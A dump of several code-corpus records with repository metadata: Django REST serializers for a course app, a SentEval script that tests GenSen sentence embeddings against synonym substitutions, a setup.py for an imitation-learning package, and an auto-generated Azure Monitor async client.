backend/course/api/v1/serializers.py

crowdbotics-apps/suraj-30223

1830a1c3dcd5ca56e817ec2dd110778c5ab1feb4

[ "FTL", "AML", "RSA-MD" ]

8

2021-09-05T22:19:20.000Z

2021-10-06T13:40:50.000Z

backend/course/api/v1/serializers.py

crowdbotics-apps/suraj-30223

1830a1c3dcd5ca56e817ec2dd110778c5ab1feb4

[ "FTL", "AML", "RSA-MD" ]

null

from rest_framework import serializers from course.models import ( PaymentMethod, Recording, Category, Lesson, Enrollment, SubscriptionType, Module, Group, Course, Subscription, Event, ) class ModuleSerializer(serializers.ModelSerializer): class Meta: model = Module fields = "__all__" class LessonSerializer(serializers.ModelSerializer): class Meta: model = Lesson fields = "__all__" class PaymentMethodSerializer(serializers.ModelSerializer): class Meta: model = PaymentMethod fields = "__all__" class EnrollmentSerializer(serializers.ModelSerializer): class Meta: model = Enrollment fields = "__all__" class SubscriptionSerializer(serializers.ModelSerializer): class Meta: model = Subscription fields = "__all__" class SubscriptionTypeSerializer(serializers.ModelSerializer): class Meta: model = SubscriptionType fields = "__all__" class GroupSerializer(serializers.ModelSerializer): class Meta: model = Group fields = "__all__" class CourseSerializer(serializers.ModelSerializer): class Meta: model = Course fields = "__all__" class RecordingSerializer(serializers.ModelSerializer): class Meta: model = Recording fields = "__all__" class EventSerializer(serializers.ModelSerializer): class Meta: model = Event fields = "__all__" class CategorySerializer(serializers.ModelSerializer): class Meta: model = Category fields = "__all__"

20.024691

62

0.673859

from rest_framework import serializers from course.models import ( PaymentMethod, Recording, Category, Lesson, Enrollment, SubscriptionType, Module, Group, Course, Subscription, Event, ) class ModuleSerializer(serializers.ModelSerializer): class Meta: model = Module fields = "__all__" class LessonSerializer(serializers.ModelSerializer): class Meta: model = Lesson fields = "__all__" class PaymentMethodSerializer(serializers.ModelSerializer): class Meta: model = PaymentMethod fields = "__all__" class EnrollmentSerializer(serializers.ModelSerializer): class Meta: model = Enrollment fields = "__all__" class SubscriptionSerializer(serializers.ModelSerializer): class Meta: model = Subscription fields = "__all__" class SubscriptionTypeSerializer(serializers.ModelSerializer): class Meta: model = SubscriptionType fields = "__all__" class GroupSerializer(serializers.ModelSerializer): class Meta: model = Group fields = "__all__" class CourseSerializer(serializers.ModelSerializer): class Meta: model = Course fields = "__all__" class RecordingSerializer(serializers.ModelSerializer): class Meta: model = Recording fields = "__all__" class EventSerializer(serializers.ModelSerializer): class Meta: model = Event fields = "__all__" class CategorySerializer(serializers.ModelSerializer): class Meta: model = Category fields = "__all__"

true

1c424b51f87ee9c16ce3ceab130d2364d060ec6d

80

py

Python

main/passport/__init__.py

anvarliorxan/task1

39c5a42c174adce16b0ddbbde4692ebd510d5cb2

[ "MIT" ]

null

main/passport/__init__.py

anvarliorxan/task1

39c5a42c174adce16b0ddbbde4692ebd510d5cb2

[ "MIT" ]

null

main/passport/__init__.py

anvarliorxan/task1

39c5a42c174adce16b0ddbbde4692ebd510d5cb2

[ "MIT" ]

null

# -*- coding: utf-8 -*- default_app_config = 'main.passport.apps.PassportConfig'

40

56

0.725

default_app_config = 'main.passport.apps.PassportConfig'

true

1c424bcf1e1344e55e8c40bcca6a160fb609ccc7

7,626

py

Python

examples/gensen_util.py

goel96vibhor/AdvSentEval

c23684c5f9da905517071361fdb40acf194cd608

[ "BSD-3-Clause" ]

2

2018-12-19T22:06:22.000Z

2019-01-29T16:59:31.000Z

examples/gensen_util.py

goel96vibhor/AdvSentEval

c23684c5f9da905517071361fdb40acf194cd608

[ "BSD-3-Clause" ]

null

examples/gensen_util.py

goel96vibhor/AdvSentEval

c23684c5f9da905517071361fdb40acf194cd608

[ "BSD-3-Clause" ]

2

2019-02-10T22:40:43.000Z

2019-04-03T06:16:33.000Z

# Copyright (c) 2017-present, Facebook, Inc. # All rights reserved. # # This source code is licensed under the license found in the # LICENSE file in the root directory of this source tree. # """ Clone GenSen repo here: https://github.com/Maluuba/gensen.git And follow instructions for loading the model used in batcher """ from __future__ import absolute_import, division, unicode_literals import sys import logging # import GenSen package from gensen import GenSen, GenSenSingle import gensen import numpy as np # Set PATHs PATH_TO_SENTEVAL = '../' PATH_TO_DATA = '../data' PATH_TO_VEC = 'fasttext/crawl-300d-2M.vec' # import SentEval sys.path.insert(0, PATH_TO_SENTEVAL) import senteval sys.path.insert(1,PATH_TO_SENTEVAL) from AdversarialModels import WordNetSynonym import io def get_sentence(sentence): sent = "" for word in sentence: sent+=word+" " return sent def create_dictionary(sentences, threshold=0): words = {} for s in sentences: for word in s: words[word] = words.get(word, 0) + 1 if threshold > 0: newwords = {} for word in words: if words[word] >= threshold: newwords[word] = words[word] words = newwords words['<s>'] = 1e9 + 4 words['</s>'] = 1e9 + 3 words[''] = 1e9 + 2 sorted_words = sorted(words.items(), key=lambda x: -x[1]) # inverse sort id2word = [] word2id = {} for i, (w, _) in enumerate(sorted_words): id2word.append(w) word2id[w] = i return id2word, word2id # SentEval prepare and batcher def prepare(params, samples): _, params.word2id = create_dictionary(samples) params.word_vec = get_wordvec(PATH_TO_VEC, params.word2id) params.wvec_dim = 300 return def get_wordvec(path_to_vec, word2id): word_vec = {} with io.open(path_to_vec, 'r', encoding='utf-8') as f: # if word2vec or fasttext file : skip first line "next(f)" for line in f: word, vec = line.split(' ', 1) if word in word2id: word_vec[word] = np.fromstring(vec, sep=' ') logging.info('Found {0} words with word vectors, out of \ {1} words'.format(len(word_vec), len(word2id))) return word_vec def batcher(params, batch): batch = [' '.join(sent) if sent != [] else '.' for sent in batch] _, reps_h_t = gensen_encoder.get_representation( batch, pool='last', return_numpy=True, tokenize=True ) embeddings = reps_h_t return embeddings def prepare_adversarial_samples(params, sentences, y_labels): new_sentences = [] new_labels = [] for sent, label in zip(sentences, y_labels): sent_adversaries = [] sent_adv_labels = [] new_sent = list(sent) sent_adversaries.append(new_sent) sent_adv_labels.append(label) new_sent = list(sent) sent_adversaries.append(new_sent) sent_adv_labels.append(label) # if sent == sentences[43]: # print("orig sent vec", get_sentence(sent), " ,label:", label) # print("mod sent vec", get_sentence(new_sent)) for word, word_pos in zip(sent, range(len(sent))): # print "new word ", word, "-" *80 if word in params.word_vec: # print word, "-" * 30 # print params.word_vec[word][:20] new_sent = list(sent) # print "new sent vec ", "-" * 30 # print new_sentvec[:20] word_syns = WordNetSynonym.get_word_synonym(word) # print word_syns for syn in word_syns: if syn in params.word_vec: if syn == word: continue # print syn, "-"*30 # print params.word_vec[syn][:20] new_sent = list(sent) new_sent[word_pos] = syn sent_adversaries.append(new_sent) sent_adv_labels.append(label) # if sent == sentences[43]: # print("mod sent vec", get_sentence(new_sent)) # print "mod sent vec", "-" * 30 # print modified_vecs[len(modified_vecs)-1][:20], "\n" new_sentences.append(sent_adversaries) new_labels.append(sent_adv_labels) return new_sentences, new_labels def adversarialFunc(params, batch_sentences, batch_labels, embeddings = None): # sentvec = np.multiply(sentvec, params.wvec_dim) adv_batch_sentences, adv_labels = prepare_adversarial_samples(params, batch_sentences, batch_labels) print("adv samples size %d",len(adv_batch_sentences)) total_count = sum(len(x) for x in adv_batch_sentences) print("sum of sentences called %d, batch_size %d" %(total_count, params.batch_size)) adv_embeddings = [] for sent_adversaries, i in zip(adv_batch_sentences, range(len(adv_batch_sentences))): sentences = [' '.join(sent) if sent != [] else '.' for sent in sent_adversaries] _, reps_h_t = gensen_encoder.get_representation( sentences, pool='last', return_numpy=True, tokenize=True ) sent_adv_embeddings = reps_h_t # sent_adv_embeddings = params.infersent.encode_without_shuffle(sentences, bsize=params.batch_size, tokenize=False) adv_embeddings.append(sent_adv_embeddings) if i%10 == 0: print("%d sentences done"%(i)) # print("Adv embeddings shape: %s, adv_labels shape", len(sent_adv_embeddings), dim(adv_labels[i])) print("Adv embeddings shape: %s, adv_labels shape %s" %(len(adv_embeddings), len(adv_labels))) for i in range(0,len(adv_embeddings),10): print("Adv embeddings shape: %s, adv_labels shape", len(adv_embeddings[i]), len(adv_labels[i])) return adv_embeddings, adv_labels, adv_batch_sentences # Load GenSen model gensen_1 = GenSenSingle( model_folder='../data/models', filename_prefix='nli_large_bothskip', pretrained_emb='fasttext/glove.840B.300d.h5' ) gensen_2 = GenSenSingle( model_folder='../data/models', filename_prefix='nli_large_bothskip_parse', pretrained_emb='fasttext/glove.840B.300d.h5' ) gensen_encoder = GenSen(gensen_1, gensen_2) # reps_h, reps_h_t = gensen_encoder.get_representation( # sentences, pool='last', return_numpy=True, tokenize=True # ) # Set params for SentEval params_senteval = {'task_path': PATH_TO_DATA, 'usepytorch': True, 'kfold': 5, 'model_name': 'gensen','batch_size': 128} params_senteval['classifier'] = {'nhid': 0, 'optim': 'rmsprop', 'batch_size': 128, 'tenacity': 3, 'epoch_size': 2, 'cudaEfficient' : True} params_senteval['gensen'] = gensen_encoder # Set up logger logging.basicConfig(format='%(asctime)s : %(message)s', level=logging.DEBUG, adversarialFunc=adversarialFunc) if __name__ == "__main__": se = senteval.engine.SE(params_senteval, batcher, prepare, adversarialFunc=adversarialFunc) # transfer_tasks = ['STS12', 'STS13', 'STS14', 'STS15', 'STS16', # 'MR', 'CR', 'MPQA', 'SUBJ', 'SST2', 'SST5', 'TREC', 'MRPC', # 'SICKEntailment', 'SICKRelatedness', 'STSBenchmark', # 'Length', 'WordContent', 'Depth', 'TopConstituents', # 'BigramShift', 'Tense', 'SubjNumber', 'ObjNumber', # 'OddManOut', 'CoordinationInversion'] transfer_tasks = ['STSBenchmark'] results = se.eval(transfer_tasks) # print(results)

32.589744

123

0.621558

from __future__ import absolute_import, division, unicode_literals import sys import logging from gensen import GenSen, GenSenSingle import gensen import numpy as np PATH_TO_SENTEVAL = '../' PATH_TO_DATA = '../data' PATH_TO_VEC = 'fasttext/crawl-300d-2M.vec' sys.path.insert(0, PATH_TO_SENTEVAL) import senteval sys.path.insert(1,PATH_TO_SENTEVAL) from AdversarialModels import WordNetSynonym import io def get_sentence(sentence): sent = "" for word in sentence: sent+=word+" " return sent def create_dictionary(sentences, threshold=0): words = {} for s in sentences: for word in s: words[word] = words.get(word, 0) + 1 if threshold > 0: newwords = {} for word in words: if words[word] >= threshold: newwords[word] = words[word] words = newwords words['<s>'] = 1e9 + 4 words['</s>'] = 1e9 + 3 words[''] = 1e9 + 2 sorted_words = sorted(words.items(), key=lambda x: -x[1]) id2word = [] word2id = {} for i, (w, _) in enumerate(sorted_words): id2word.append(w) word2id[w] = i return id2word, word2id def prepare(params, samples): _, params.word2id = create_dictionary(samples) params.word_vec = get_wordvec(PATH_TO_VEC, params.word2id) params.wvec_dim = 300 return def get_wordvec(path_to_vec, word2id): word_vec = {} with io.open(path_to_vec, 'r', encoding='utf-8') as f: for line in f: word, vec = line.split(' ', 1) if word in word2id: word_vec[word] = np.fromstring(vec, sep=' ') logging.info('Found {0} words with word vectors, out of \ {1} words'.format(len(word_vec), len(word2id))) return word_vec def batcher(params, batch): batch = [' '.join(sent) if sent != [] else '.' for sent in batch] _, reps_h_t = gensen_encoder.get_representation( batch, pool='last', return_numpy=True, tokenize=True ) embeddings = reps_h_t return embeddings def prepare_adversarial_samples(params, sentences, y_labels): new_sentences = [] new_labels = [] for sent, label in zip(sentences, y_labels): sent_adversaries = [] sent_adv_labels = [] new_sent = list(sent) sent_adversaries.append(new_sent) sent_adv_labels.append(label) new_sent = list(sent) sent_adversaries.append(new_sent) sent_adv_labels.append(label) for word, word_pos in zip(sent, range(len(sent))): if word in params.word_vec: new_sent = list(sent) word_syns = WordNetSynonym.get_word_synonym(word) for syn in word_syns: if syn in params.word_vec: if syn == word: continue new_sent = list(sent) new_sent[word_pos] = syn sent_adversaries.append(new_sent) sent_adv_labels.append(label) new_sentences.append(sent_adversaries) new_labels.append(sent_adv_labels) return new_sentences, new_labels def adversarialFunc(params, batch_sentences, batch_labels, embeddings = None): adv_batch_sentences, adv_labels = prepare_adversarial_samples(params, batch_sentences, batch_labels) print("adv samples size %d",len(adv_batch_sentences)) total_count = sum(len(x) for x in adv_batch_sentences) print("sum of sentences called %d, batch_size %d" %(total_count, params.batch_size)) adv_embeddings = [] for sent_adversaries, i in zip(adv_batch_sentences, range(len(adv_batch_sentences))): sentences = [' '.join(sent) if sent != [] else '.' for sent in sent_adversaries] _, reps_h_t = gensen_encoder.get_representation( sentences, pool='last', return_numpy=True, tokenize=True ) sent_adv_embeddings = reps_h_t adv_embeddings.append(sent_adv_embeddings) if i%10 == 0: print("%d sentences done"%(i)) print("Adv embeddings shape: %s, adv_labels shape %s" %(len(adv_embeddings), len(adv_labels))) for i in range(0,len(adv_embeddings),10): print("Adv embeddings shape: %s, adv_labels shape", len(adv_embeddings[i]), len(adv_labels[i])) return adv_embeddings, adv_labels, adv_batch_sentences gensen_1 = GenSenSingle( model_folder='../data/models', filename_prefix='nli_large_bothskip', pretrained_emb='fasttext/glove.840B.300d.h5' ) gensen_2 = GenSenSingle( model_folder='../data/models', filename_prefix='nli_large_bothskip_parse', pretrained_emb='fasttext/glove.840B.300d.h5' ) gensen_encoder = GenSen(gensen_1, gensen_2) params_senteval = {'task_path': PATH_TO_DATA, 'usepytorch': True, 'kfold': 5, 'model_name': 'gensen','batch_size': 128} params_senteval['classifier'] = {'nhid': 0, 'optim': 'rmsprop', 'batch_size': 128, 'tenacity': 3, 'epoch_size': 2, 'cudaEfficient' : True} params_senteval['gensen'] = gensen_encoder logging.basicConfig(format='%(asctime)s : %(message)s', level=logging.DEBUG, adversarialFunc=adversarialFunc) if __name__ == "__main__": se = senteval.engine.SE(params_senteval, batcher, prepare, adversarialFunc=adversarialFunc) transfer_tasks = ['STSBenchmark'] results = se.eval(transfer_tasks)

true

1c424c5b0f0ac998a7628cfec79e85809197b4fa

439

py

Python

setup.py

Kailiangdong/hgail

a668c4dda09d4e7f85b4640f42ff57b6764d24cc

[ "MIT" ]

24

2018-03-16T22:29:16.000Z

2021-11-12T07:33:28.000Z

setup.py

Kailiangdong/hgail

a668c4dda09d4e7f85b4640f42ff57b6764d24cc

[ "MIT" ]

2

2018-06-29T06:37:46.000Z

2018-08-06T01:02:13.000Z

setup.py

Kailiangdong/hgail

a668c4dda09d4e7f85b4640f42ff57b6764d24cc

[ "MIT" ]

15

2018-07-30T16:46:07.000Z

2022-03-13T06:24:11.000Z

from setuptools import setup setup(name='hgail', version='0.1', description='Generative Adversarial Imitation Learning', author='Blake Wulfe', author_email='wulfebw@stanford.edu', license='MIT', packages=['hgail'], zip_safe=False, install_requires=[ 'numpy', 'rllab', 'tensorflow', 'gym', 'h5py', 'cached_property', 'joblib', ])

23.105263

62

0.553531

from setuptools import setup setup(name='hgail', version='0.1', description='Generative Adversarial Imitation Learning', author='Blake Wulfe', author_email='wulfebw@stanford.edu', license='MIT', packages=['hgail'], zip_safe=False, install_requires=[ 'numpy', 'rllab', 'tensorflow', 'gym', 'h5py', 'cached_property', 'joblib', ])

true

1c424ce98abcf0f737bebde30fff739a28e3c53b

2,806

py

Python

sdk/monitor/azure-mgmt-monitor/azure/mgmt/monitor/v2016_09_01/aio/_monitor_management_client.py

rsdoherty/azure-sdk-for-python

6bba5326677468e6660845a703686327178bb7b1

[ "MIT" ]

3

2020-06-23T02:25:27.000Z

2021-09-07T18:48:11.000Z

sdk/monitor/azure-mgmt-monitor/azure/mgmt/monitor/v2016_09_01/aio/_monitor_management_client.py

rsdoherty/azure-sdk-for-python

6bba5326677468e6660845a703686327178bb7b1

[ "MIT" ]

510

2019-07-17T16:11:19.000Z

2021-08-02T08:38:32.000Z

sdk/monitor/azure-mgmt-monitor/azure/mgmt/monitor/v2016_09_01/aio/_monitor_management_client.py

rsdoherty/azure-sdk-for-python

6bba5326677468e6660845a703686327178bb7b1

[ "MIT" ]

5

2019-09-04T12:51:37.000Z

2020-09-16T07:28:40.000Z

# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is regenerated. # -------------------------------------------------------------------------- from typing import Any, Optional, TYPE_CHECKING from azure.mgmt.core import AsyncARMPipelineClient from msrest import Deserializer, Serializer if TYPE_CHECKING: # pylint: disable=unused-import,ungrouped-imports from azure.core.credentials_async import AsyncTokenCredential from ._configuration import MonitorManagementClientConfiguration from .operations import MetricsOperations from .operations import ServiceDiagnosticSettingsOperations from .. import models class MonitorManagementClient(object): """Monitor Management Client. :ivar metrics: MetricsOperations operations :vartype metrics: $(python-base-namespace).v2016_09_01.aio.operations.MetricsOperations :ivar service_diagnostic_settings: ServiceDiagnosticSettingsOperations operations :vartype service_diagnostic_settings: $(python-base-namespace).v2016_09_01.aio.operations.ServiceDiagnosticSettingsOperations :param credential: Credential needed for the client to connect to Azure. :type credential: ~azure.core.credentials_async.AsyncTokenCredential :param str base_url: Service URL """ def __init__( self, credential: "AsyncTokenCredential", base_url: Optional[str] = None, **kwargs: Any ) -> None: if not base_url: base_url = 'https://management.azure.com' self._config = MonitorManagementClientConfiguration(credential, **kwargs) self._client = AsyncARMPipelineClient(base_url=base_url, config=self._config, **kwargs) client_models = {k: v for k, v in models.__dict__.items() if isinstance(v, type)} self._serialize = Serializer(client_models) self._serialize.client_side_validation = False self._deserialize = Deserializer(client_models) self.metrics = MetricsOperations( self._client, self._config, self._serialize, self._deserialize) self.service_diagnostic_settings = ServiceDiagnosticSettingsOperations( self._client, self._config, self._serialize, self._deserialize) async def close(self) -> None: await self._client.close() async def __aenter__(self) -> "MonitorManagementClient": await self._client.__aenter__() return self async def __aexit__(self, *exc_details) -> None: await self._client.__aexit__(*exc_details)

42.515152

129

0.705987

from typing import Any, Optional, TYPE_CHECKING from azure.mgmt.core import AsyncARMPipelineClient from msrest import Deserializer, Serializer if TYPE_CHECKING: from azure.core.credentials_async import AsyncTokenCredential from ._configuration import MonitorManagementClientConfiguration from .operations import MetricsOperations from .operations import ServiceDiagnosticSettingsOperations from .. import models class MonitorManagementClient(object): def __init__( self, credential: "AsyncTokenCredential", base_url: Optional[str] = None, **kwargs: Any ) -> None: if not base_url: base_url = 'https://management.azure.com' self._config = MonitorManagementClientConfiguration(credential, **kwargs) self._client = AsyncARMPipelineClient(base_url=base_url, config=self._config, **kwargs) client_models = {k: v for k, v in models.__dict__.items() if isinstance(v, type)} self._serialize = Serializer(client_models) self._serialize.client_side_validation = False self._deserialize = Deserializer(client_models) self.metrics = MetricsOperations( self._client, self._config, self._serialize, self._deserialize) self.service_diagnostic_settings = ServiceDiagnosticSettingsOperations( self._client, self._config, self._serialize, self._deserialize) async def close(self) -> None: await self._client.close() async def __aenter__(self) -> "MonitorManagementClient": await self._client.__aenter__() return self async def __aexit__(self, *exc_details) -> None: await self._client.__aexit__(*exc_details)

true